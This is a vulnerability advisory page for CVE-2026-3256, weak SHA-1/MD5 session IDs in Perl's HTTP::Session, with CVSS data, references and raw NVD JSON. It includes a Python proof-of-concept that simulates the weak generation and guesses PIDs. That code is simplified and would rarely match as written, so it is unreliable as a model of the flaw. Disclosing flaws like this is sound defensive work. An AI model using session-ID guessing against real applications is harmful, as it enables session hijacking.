Security Vulnerability Report
中文
CVE-2026-3256 CVSS 9.8 CRITICAL

CVE-2026-3256

Published: 2026-03-28 19:16:57
Last Modified: 2026-04-01 15:23:24
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

HTTP::Session versions through 0.53 for Perl defaults to using insecurely generated session ids. HTTP::Session defaults to using HTTP::Session::ID::SHA1 to generate session ids using a SHA-1 hash seeded with the built-in rand function, the high resolution epoch time, and the PID. The PID will come from a small set of numbers, and the epoch time may be guessed, if it is not leaked from the HTTP Date header. The built-in rand function is unsuitable for cryptographic usage. The distribution includes HTTP::session::ID::MD5 which contains a similar flaw, but uses the MD5 hash instead.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ktat:http\:\:session:*:*:*:*:*:perl:*:* - VULNERABLE
HTTP::Session <= 0.53

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import time import random # Proof of Concept: Simulating the weak session ID generation # This script demonstrates how the entropy of the session ID is reduced # due to predictable PID and time, and weak random seeding. def generate_vulnerable_sid(pid): # Simulate the built-in rand function (often seeded with time in legacy code) # In a real attack, the attacker guesses the seed based on time random.seed(int(time.time())) weak_random = str(random.random()) # High resolution time (can be leaked or guessed) epoch_time = str(time.time()) # PID is usually a small integer (e.g., 1000-32768) pid_str = str(pid) # The vulnerable hashing logic: SHA1(rand + time + PID) data = weak_random + epoch_time + pid_str session_id = hashlib.sha1(data.encode('utf-8')).hexdigest() return session_id # Attack Scenario: Attacker knows the approximate time and guesses the PID print("[+] Simulating Session ID Generation...") real_pid = 1234 victim_sid = generate_vulnerable_sid(real_pid) print(f"[+] Victim's Session ID (PID {real_pid}): {victim_sid}") print("[+] Attacker trying to guess Session ID by iterating PIDs...") # Attacker synchronizes time and tries a range of PIDs guessed_pids = range(1000, 2000) for pid in guessed_pids: # To match the seed, the attacker must be very close in time, # or the rand sequence is predictable. # Here we assume the attacker can synchronize the time. predicted_sid = generate_vulnerable_sid(pid) if predicted_sid == victim_sid: print(f"[!] SUCCESS! Guessed PID: {pid}, Session ID: {predicted_sid}") break

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3256", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-28T19:16:56.570", "lastModified": "2026-04-01T15:23:23.523", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTTP::Session versions through 0.53 for Perl defaults to using insecurely generated session ids.\n\nHTTP::Session defaults to using HTTP::Session::ID::SHA1 to generate session ids using a SHA-1 hash seeded with the built-in rand function, the high resolution epoch time, and the PID. The PID will come from a small set of numbers, and the epoch time may be guessed, if it is not leaked from the HTTP Date header. The built-in rand function is unsuitable for cryptographic usage.\n\nThe distribution includes HTTP::session::ID::MD5 which contains a similar flaw, but uses the MD5 hash instead."}, {"lang": "es", "value": "Las versiones de HTTP::Session hasta la 0.53 para Perl por defecto utilizan identificadores de sesión generados de forma insegura.\n\nHTTP::Session por defecto utiliza HTTP::Session::ID::SHA1 para generar identificadores de sesión usando un hash SHA-1 sembrado con la función rand incorporada, el tiempo de época de alta resolución y el PID. El PID provendrá de un pequeño conjunto de números, y el tiempo de época puede ser adivinado, si no se filtra del encabezado HTTP Date. La función rand incorporada es inadecuada para uso criptográfico.\n\nLa distribución incluye HTTP::session::ID::MD5 que contiene una falla similar, pero utiliza el hash MD5 en su lugar."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ktat:http\\:\\:session:*:*:*:*:*:perl:*:*", "versionEndIncluding": "0.53", "matchCriteriaId": "DADAF64A-EA4A-4FB2-9988-17FF1D875219"}]}]}], "references": [{"url": "https://metacpan.org/release/KTAT/http-session-0.53/source/lib/HTTP/Session/ID/MD5.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://metacpan.org/release/KTAT/http-session-0.53/source/lib/HTTP/Session/ID/SHA1.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product"]}, {"url": "https://security.metacpan.org/docs/guides/random-data-for-security.html", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/28/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}